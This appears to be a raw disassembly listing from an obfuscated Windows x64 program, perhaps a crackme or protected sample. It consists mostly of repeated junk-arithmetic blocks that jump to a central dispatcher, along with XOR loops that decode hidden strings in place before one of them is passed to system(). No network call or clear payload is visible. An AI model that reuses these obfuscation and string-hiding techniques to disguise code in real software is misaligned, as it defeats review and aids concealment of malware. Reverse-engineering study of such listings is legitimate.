xor eax, 0x81e0db16
rol eax, 0x58
popf
pushf
not eax
add eax, 0x9df75367
xor eax, 0xdbba4afb
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xf34384c7
xor eax, 0xd0117be4
rol eax, 0x1b
popf
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, dil
sub al, cl
add al, 0x39
xor byte [r8], al
jmp 0x14011627f
inc edi
lea r8, [r8 + 1]
cmp edi, 0xe
jl 0x1401162d0
push rax
pushf
mov eax, 0xe9541c7e
pushf
not eax
add eax, 0xdef33645
xor eax, 0x80323359
rol eax, 0x81
popf
pushf
not eax
add eax, 0x97910db8
xor eax, 0x86197d5f
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xa2dac990
xor eax, 0x8dc2e54c
rol eax, 0x1d
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xd554207
pushf
not eax
add eax, 0xcf3af613
xor eax, 0xf90f6c20
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xc68a08e1
xor eax, 0xff6cadd5
rol eax, 0xe3
popf
jmp 0x140110660
mov rcx, r9
call fcn.14011fa60
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
jmp 0x140116313
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
xor ecx, ecx
jmp 0x14011631c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
push rax
pushf
mov eax, 0x8e58369b
pushf
not eax
add eax, 0xddb5a830
xor eax, 0x8b46ec79
rol eax, 0x30
popf
pushf
not eax
add eax, 0xf5294c6c
xor eax, 0xcc97b49e
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xb788405e
xor eax, 0x8d0b850b
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x94aeb8e4
xor eax, 0xd18f10f5
rol eax, 0xaa
popf
jmp 0x140110660
lea rdx, [rbp + 0x2e0]
call fcn.14012660a
mov rcx, rax
cmp byte [rax + 3], 0
je 0x1401163c8
push rax
pushf
mov eax, 0xf549814f
pushf
not eax
add eax, 0xfb0ace0c
xor eax, 0xb6f973b4
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xbac5f45a
xor eax, 0xc2f85a98
rol eax, 0x10
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x602e1fe
pushf
not eax
add eax, 0x8933407b
xor eax, 0xe286d433
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xed615e94
xor eax, 0xfa43d4f2
rol eax, 0xad
popf
pushf
not eax
add eax, 0xfad82dc2
xor eax, 0x8b93ce81
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xc275ac4d
xor eax, 0xeff0875f
rol eax, 0xa5
popf
jmp 0x140110660
cmp r14d, 2
jl 0x140116480
push rax
pushf
mov eax, 0xa3205686
pushf
not eax
add eax, 0xaf210739
xor eax, 0xfbb4cf4c
rol eax, 0x53
popf
pushf
not eax
add eax, 0xe36efd80
xor eax, 0xc5d5c88c
rol eax, 0x25
popf
pushf
not eax
add eax, 0xa66f1ab7
xor eax, 0xa4a9ec2c
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xb006a1c8
xor eax, 0xf63bb454
rol eax, 0xf
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x72551bb
pushf
not eax
add eax, 0xd99df11c
xor eax, 0xfd3f88b6
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xcefb17d5
xor eax, 0x8c964abd
rol eax, 0x63
popf
pushf
not eax
add eax, 0xc99ea3bc
xor eax, 0xcf508e4e
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x8f3150c4
xor eax, 0x9b3c0f7b
rol eax, 0xd
popf
jmp 0x140110660
movdqa xmm3, xmmword [0x140078130]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400781d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400781d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140078150]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x1401166d8
mov r9, rcx
mov r8d, edi
nop dword [rax]
push rax
pushf
mov eax, 0x776f29f8
pushf
not eax
add eax, 0xf51b935f
xor eax, 0xf9788ed6
rol eax, 0xca
popf
pushf
not eax
add eax, 0xfd4ead41
xor eax, 0xc4c26cb8
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xef043c80
xor eax, 0xcbf511a6
rol eax, 0xa5
popf
jmp 0x140110660
mov eax, 0xb50c3cc0
pushf
not eax
add eax, 0x8b979b67
xor eax, 0xcc26897d
rol eax, 7
popf
pushf
not eax
add eax, 0x85ea64a9
xor eax, 0xb3779ec3
rol eax, 0xd3
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1401166a4
push rax
pushf
mov eax, 0x7277e326
pushf
not eax
add eax, 0xefcb5809
xor eax, 0x8a32dcf4
rol eax, 0x45
popf
pushf
not eax
add eax, 0x82249bb1
xor eax, 0xa4ac9b28
rol eax, 0x72
popf
pushf
not eax
add eax, 0xe3c02712
xor eax, 0xedd76205
rol eax, 0x69
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xd0f98342
pushf
not eax
add eax, 0x88339ebd
xor eax, 0xc80a27bb
rol eax, 0x14
popf
pushf
not eax
add eax, 0xc50bb7fb
xor eax, 0xf8f3c347
rol eax, 0x9c
popf
jmp 0x140110660
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rsp + 0x30]
call fcn.14011c339
mov r9, rax
cmp byte [rax + 0xd], 0
je 0x140116728
push rax
pushf
mov eax, 0x21957645
pushf
not eax
add eax, 0xf00963a7
xor eax, 0xaf772eec
rol eax, 0x70
popf
pushf
not eax
add eax, 0xb4d4d0d0
xor eax, 0xf1582fcb
rol eax, 0x32
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xc84d596c
pushf
not eax
add eax, 0xe9bb43d4
xor eax, 0xa28336cf
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xf8843737
xor eax, 0x8a0fb53f
rol eax, 0x72
popf
jmp 0x140110660
cmp r14d, 2
jl 0x1401167ab
push rax
pushf
mov eax, 0xee0a53b0
pushf
not eax
add eax, 0x88695a5e
xor eax, 0xd4cbb6e9
rol eax, 0x48
popf
pushf
not eax
add eax, 0x92b0f845
xor eax, 0x9f6a7bc3
rol eax, 0x37
popf
pushf
not eax
add eax, 0xa214790f
xor eax, 0x88a3c3aa
rol eax, 0xeb
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x55c3ba29
pushf
not eax
add eax, 0xa7b446ce
xor eax, 0xd4981d8b
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xf61db668
xor eax, 0x9eef38ad
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xf27266c2
xor eax, 0xa3edb659
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xcaa37e02
xor eax, 0xc2c19b01
rol eax, 0x10
popf
jmp 0x140110660
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm2, xmmword [0x140078130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078150]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9]
xorps xmm2, xmm0
movd dword [r9], xmm2
movdqa xmm3, xmmword [0x140078140]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078150]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm2, xmm0
movd dword [r9 + 4], xmm2
mov edi, 0x94d6f3f4
pushf
not edi
add edi, 0x983cfa20
xor edi, 0xa07c8e04
rol edi, 0xcd
popf
pushf
not edi
add edi, 0xf84726dd
xor edi, 0xa7413379
rol edi, 0x5b
popf
push rax
pushf
mov eax, 0xc1fb3e89
pushf
not eax
add eax, 0xd3a59ef8
xor eax, 0xa252229a
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xd4dc8419
xor eax, 0x8117fa39
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xe1577fa0
xor eax, 0x97bc9987
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xcab7fd47
xor eax, 0xbdd67022
rol eax, 0x59
popf
jmp 0x140110660
movsxd r8, edi
push r9
not r9
sub r8, r9
pop r9
sub r8, 1
nop word [rax + rax]
push rax
pushf
mov eax, 0x8adc02b1
pushf
not eax
add eax, 0xed03cc4d
xor eax, 0xf4abce4d
rol eax, 0x27
popf
pushf
not eax
add eax, 0xd3c2150d
xor eax, 0x8dbe29c9
rol eax, 4
popf
jmp 0x140110660
mov eax, 0x2961c951
pushf
not eax
add eax, 0x80ca5825
xor eax, 0xa851cb21
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xb58d468a
xor eax, 0xb1f5f513
rol eax, 6
popf
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, dil
sub al, cl
add al, 0x39
xor byte [r8], al
jmp 0x140116a1e
inc edi
lea r8, [r8 + 1]
cmp edi, 0xe
jl 0x140116a6f
push rax
pushf
mov eax, 0x720f4e8
pushf
not eax
add eax, 0xd7f3206b
xor eax, 0x820c4f5c
rol eax, 0xb
popf
pushf
not eax
add eax, 0xf4224e90
xor eax, 0xe2a7c290
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xe0008bdc
xor eax, 0xa1b4f8af
rol eax, 0x87
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xe394da86
pushf
not eax
add eax, 0xd6747947
xor eax, 0xa279777d
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x8122d51d
xor eax, 0x8ecb53ec
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xfced1f74
xor eax, 0xc68451eb
rol eax, 0xe7
popf
jmp 0x140110660
mov rcx, r9
call fcn.14011fa60
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
jmp 0x140116ac5
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
xor ecx, ecx
jmp 0x140116ace
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3